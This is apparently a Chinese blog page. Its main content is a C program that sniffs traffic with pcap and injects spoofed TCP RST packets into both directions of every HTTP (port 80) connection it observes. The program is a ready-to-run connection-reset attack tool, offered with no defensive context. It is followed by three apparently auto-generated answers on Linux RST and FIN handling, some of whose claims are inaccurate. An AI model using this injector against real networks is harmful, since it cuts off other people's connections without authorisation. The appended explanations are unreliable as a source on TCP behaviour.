发送RST报文

 

/*
* File:   main.c
* Author: Bearice
*
* Created on 2009年12月31日, 下午12:36
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
//#include <pcap/pcap.h>
#include <pcap.h>
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned long u32;



struct psdhdr {
   
u32 saddr;
   
u32 daddr;
   
char zero;
   
char proto;
   
u16 len;
};

u16 checksum(u16 *buffer, int size) {
   
unsigned long cksum = 0;
   
while (size > 1) {
        
cksum += *buffer++;
        
size -= sizeof (u16);
    }
   
if (size)
        
cksum += *(u16*) buffer;

   
cksum = (cksum >> 16) + (cksum & 0xffff);
   
cksum += (cksum >> 16);
   
return (u16) (~cksum);
}

u16 tcp_checksum(struct iphdr* iph, struct tcphdr* tcph, char* data, int size) {
   
tcph->check = 0;
   
struct psdhdr psd_header;
   
psd_header.daddr = iph->daddr;
   
psd_header.saddr = iph->saddr;
   
psd_header.zero = 0;
   
psd_header.proto = IPPROTO_TCP;
   
psd_header.len = htons(sizeof (struct tcphdr) + size);

   
char tcpBuf[65536];
   
memcpy(tcpBuf, &psd_header, sizeof (struct psdhdr));
   
memcpy(tcpBuf + sizeof (struct psdhdr), tcph, sizeof (struct tcphdr));
   
memcpy(tcpBuf + sizeof (struct psdhdr) + sizeof (struct tcphdr), data, size);
   
return tcph->check = checksum((u16 *) tcpBuf,
            
sizeof (struct psdhdr) + sizeof (struct tcphdr) + size);
}

int inject_reset(int sip, int dip, int sport, int dport, int ttl, int seq) {
   
int sk = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   
int ret = 1;
   
ret = setsockopt(sk, SOL_IP, IP_HDRINCL, &ret, sizeof (int));
   
u8 data[20 + sizeof (struct tcphdr) ];
   
bzero(data, sizeof (data));
   
struct iphdr* iphdr = data;
   
iphdr->version = 4;
   
iphdr->ihl = 5;
   
//iphdr->tos = 0;
   
iphdr->tot_len = 40;
   
//iphdr->id = 0;
    //iphdr->frag_off = 0;
   
iphdr->ttl = ttl;
   
iphdr->protocol = IPPROTO_TCP;
   
//iphdr->check = 0;
   
iphdr->saddr = sip;
   
iphdr->daddr = dip;
   
struct tcphdr* tcp = data + 20;
   
tcp->source = sport;
   
tcp->dest = dport;
   
tcp->seq = seq;
   
//tcp.ack_seq = 0;
   
tcp->rst = 1;
   
tcp->window = 8158;
   
tcp->doff = 5;
   
//tcp.urg_ptr = 0;
   
tcp_checksum(iphdr, tcp, 0, 0);
   
struct sockaddr_in sin;
   
bzero((char *) & sin, sizeof (sin));
   
sin.sin_family = AF_INET;
   
sin.sin_port = dport;
//port to send packet to
   
sin.sin_addr.s_addr = dip; //IP to send packet to
   
ret = sendto(sk, data, sizeof (data), 0, &sin, sizeof (sin));
   
close(sk);
   
return ret;
}

int main(int argc, char** argv) {

   
char errbuf[256];
   
pcap_t* fd = pcap_open_live("eth0", 1500, 1, 1000, errbuf);
   
//unsigned char data[1500];
   
u8* data;
   
struct pcap_pkthdr* pkthdr;
   
while (1) {
        
if (pcap_next_ex(fd, &pkthdr, &data) != 1)continue;
        
struct ether_header* ethhdr = data;
        
data += ETHER_HDR_LEN;
        
/*
        printf("%02x:%02x:%02x:%02x:%02x:%02x -> %02x:%02x:%02x:%02x:%02x:%02x @ 0x%04x /n",
                    ethhdr->ether_shost[0],ethhdr->ether_shost[1],ethhdr->ether_shost[2],ethhdr->ether_shost[3],ethhdr->ether_shost[4],ethhdr->ether_shost[5],
                    ethhdr->ether_dhost[0],ethhdr->ether_dhost[1],ethhdr->ether_dhost[2],ethhdr->ether_dhost[3],ethhdr->ether_dhost[4],ethhdr->ether_dhost[5],
                    ntohs(ethhdr->ether_type));
         */
        
switch (ntohs(ethhdr->ether_type)) {
            
case ETHERTYPE_IP:
            {
               
struct iphdr* iphdr = data;
               
data += iphdr->ihl * 4;
               
unsigned char* a1 = &iphdr->saddr;
               
unsigned char* a2 = &iphdr->daddr;
               
printf("%u.%u.%u.%u->%u.%u.%u.%u/n", a1[0], a1[1], a1[2], a1[3], a2[0], a2[1], a2[2], a2[3]);
               
switch (iphdr->protocol) {
                    
case IPPROTO_TCP:
                    {
                        
struct tcphdr* tcphdr = data;
                        
printf("  Port: %d -> %d rst=%d/n", ntohs(tcphdr->source), ntohs(tcphdr->dest), tcphdr->rst);
                        
if (ntohs(tcphdr->dest) == 80 && tcphdr->rst == 0) {
                           
inject_reset(iphdr->saddr, iphdr->daddr, tcphdr->source, tcphdr->dest, iphdr->ttl, tcphdr->seq);
                           
inject_reset(iphdr->daddr, iphdr->saddr, tcphdr->dest, tcphdr->source, iphdr->ttl, tcphdr->seq);
                        }
                    }
                }
            }
        }
    }
   
return (EXIT_SUCCESS);
}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Linux TCP 的处理逻辑是这样的:如果收到一个连接请求或者一个新的数据包,而且当前的TCP接收队列已经满了,那么TCP会发送一个 RST (reset),拒绝这个连接请求或者数据包。如果接收队列没有满,TCP会把数据加入接收队列,并等待应用层处理。如果应用层已经不再需要这个连接,它会发送一个FIN(finish)给对端,关闭连接。 ### 回答2: 在Linux系统中,当TCP接收队列存在未被处理的数据时,TCP协议会发送RST(复位)RST的作用是立即结束连接,通知对方主机停止发送数据。使用RST可以强制关闭连接,无需经过正常的四次挥手过程。因此,在TCP接收队列中有未被处理的数据时,Linux系统会优先发送RST来终止连接。 相反,当TCP接收队列中没有未处理的数据时,Linux系统会发送FIN(结束)。FIN用于正常关闭连接,它表示发送方已经没有数据要发送了。发送发送FIN后,需要等待对方回复ACK(确认),然后再发送ACK作为回应。这样就完成了正常的四次挥手过程,双方彼此知道对方已经没有数据要发送了,并且可以安全地关闭连接。 需要注意的是,RST是一种强制关闭连接的方式,使用RST后,连接会立即断开,数据可能不会被完整地传输。而FIN是通过正常的四次挥手过程关闭连接,可以保证数据的完整性和可靠性。 总的来说,Linux系统中TCP的处理逻辑是,如果TCP接收队列中存在未被处理的数据,则优先发送RST强制关闭连接;如果没有未处理的数据,则发送FIN,经过四次挥手过程正常关闭连接。 ### 回答3: Linux TCP的处理逻辑是在接收队列中存在未处理的数据时,发送RST(复位)来中断连接。这种情况通常发生在接收方无法及时处理接收到的数据包时,例如接收方的应用程序进程意外终止。通过发送RST,Linux TCP可以立即关闭连接,告知对方终止通信。 而如果接收队列中没有未处理的数据,那么Linux TCP会发送FIN(结束)来关闭连接。FIN是在双方都完成数据传输后的结束信号,它标志着通信的正常关闭过程开始。发送方将先发送FIN,接收方收到FIN后会返回一个ACK(确认)作为回应,并且进入半关闭状态。在这个状态下,接收方仍可以向发送发送数据,但发送方不再接收。当接收方也不再发送数据时,它将发送自己的FIN来响应,同时发送方返回一个ACK,最终完成连接的关闭。 总之,不论是发送RST还是FIN,它们都是用于关闭连接的。发送RST是一种立即终止连接的方式,而发送FIN是一种正常关闭连接的方式,双方能够依次发送信号来结束通信。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值